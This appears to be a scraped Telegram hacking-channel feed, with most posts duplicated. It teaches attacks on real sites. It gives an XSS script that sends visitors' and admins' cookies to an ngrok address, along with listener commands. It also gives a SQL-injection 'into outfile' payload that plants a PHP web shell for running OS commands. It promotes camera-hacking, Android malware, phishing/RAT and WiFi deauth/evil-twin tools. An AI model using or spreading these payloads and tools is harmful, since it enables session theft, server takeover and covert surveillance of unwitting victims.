Will be starting web exploitation course from tmrw 😐,
Time :- asusual ( after 12 )
Regarding last course,
It won't be published further.....
I will teach 1-1 in future...<paid😂>.
Time :- asusual ( after 12 )
Regarding last course,
I will teach 1-1 in future...<paid😂>.
Stealing admin's / any_users cookie; XSS;
Where you can use:
Lets say there's a blogging website and you have a account in it to write and post blogs. If any users visits your posts page you can get their cookie. Or if there's a option to report to admins, you can get their cookies easily. In such case,
Payload:
Now listen for incoming:
or
or
curl -X......, or any other
Same port should be used for ngrok also.
If admin or any other see ur post where you inserted payload, you will get their cookies........
#Team_ETF
Where you can use:
Lets say there's a blogging website and you have a account in it to write and post blogs. If any users visits your posts page you can get their cookie. Or if there's a option to report to admins, you can get their cookies easily. In such case,
Payload:
<script>
var i=new Image;
i.src="http://01xxxxxxxxx.ngrok.io/?"+document.cookie;
</script>Now listen for incoming:
nc -lvnp portor
php -s localhost:portor
curl -X......, or any other
Same port should be used for ngrok also.
If admin or any other see ur post where you inserted payload, you will get their cookies........
#Team_ETF
Sqli exploit; into outfile;
Where to use:
Let's say if you find a parameter vulnerable in any website, and want to get reverse shell....
Payload:
Simple php shell:
Now put this shell into a file and upload it into that website, like
Now go to the location where you uploaded, like
http://example.com/location/cmd.php/?cmd=whoami
Use any other os command,
Rest u know what to do.....
#Team_ETF
Where to use:
Let's say if you find a parameter vulnerable in any website, and want to get reverse shell....
Payload:
Simple php shell:
<?php system($_GET['cmd']);?>Now put this shell into a file and upload it into that website, like
" union select 1, "<?php system($_GET['cmd']);?>" into outfile "/location/cmd.php", 3 --+Now go to the location where you uploaded, like
http://example.com/location/cmd.php/?cmd=whoami
Use any other os command,
Rest u know what to do.....
#Team_ETF
Zandroid New tool, coming soon...
Features:-
Python based, more types of Android malware building methods.
It will take some time like 10-20 days, method is ready but it is using lot of space, so I'm trying to make it's less spaced.
If you know any other methods, let me know.......
@Ryu_Hanbin ( @Etf_Zan )
ZCam <released today>
A new Camera hacking tool using Python
Tool Link
Installation:
1.
Usage:
A new Camera hacking tool using Python
Tool Link
Installation:
1.
git clone https://github.com/sankethj/z-cam
2. pip install Flask
3. pip install pyngrok
4. pip install datetime
5. pip install pyfiglet
6. pip install pyshorteners
Add your bitly access token in tokensbitly.py fileUsage:
python3 zcam.py
Author: @Ryu_Hanbin @Etf_ZanWhich do you guys want to be next python hacking tool?
Final Results
49%
Phishing (python)
51%
Android Rat (python)
Hacktober fest 2021
https://hacktoberfest.digitalocean.com/
Fest is starting from tmrw, whoever participating, All the Best 👍💯
https://hacktoberfest.digitalocean.com/
Fest is starting from tmrw, whoever participating, All the Best 👍💯
ZCam Version 4. 0
Advanced Camera hacking tool using Telegram
Tool Link :- https://github.com/sankethj/z-cam
Installation:
1.
2.
Add your bitly_access_token, telegram_api from botfather and ngrok_auth_token in constraints.py file as shown in video....
Usage:
Author: @Ryu_Hanbin @Etf_Zan
Advanced Camera hacking tool using Telegram
Tool Link :- https://github.com/sankethj/z-cam
Installation:
1.
git clone https://github.com/sankethj/z-cam2.
pip3 install -r requirements.txtAdd your bitly_access_token, telegram_api from botfather and ngrok_auth_token in constraints.py file as shown in video....
Usage:
python3 zcam.pyAuthor: @Ryu_Hanbin @Etf_Zan
ZiFi <launched_today>
WiFi hacking script using Esp8266
<De-auth and Evil-Twin attack>
Requirements:
1. Any Esp8266 board.
2. Arduino IDE
Usage:
Clone the repo and open the script using Arduino IDE, and upload to the board.
Working video
WiFi hacking script using Esp8266
<De-auth and Evil-Twin attack>
Requirements:
1. Any Esp8266 board.
2. Arduino IDE
Usage:
Clone the repo and open the script using Arduino IDE, and upload to the board.
Working video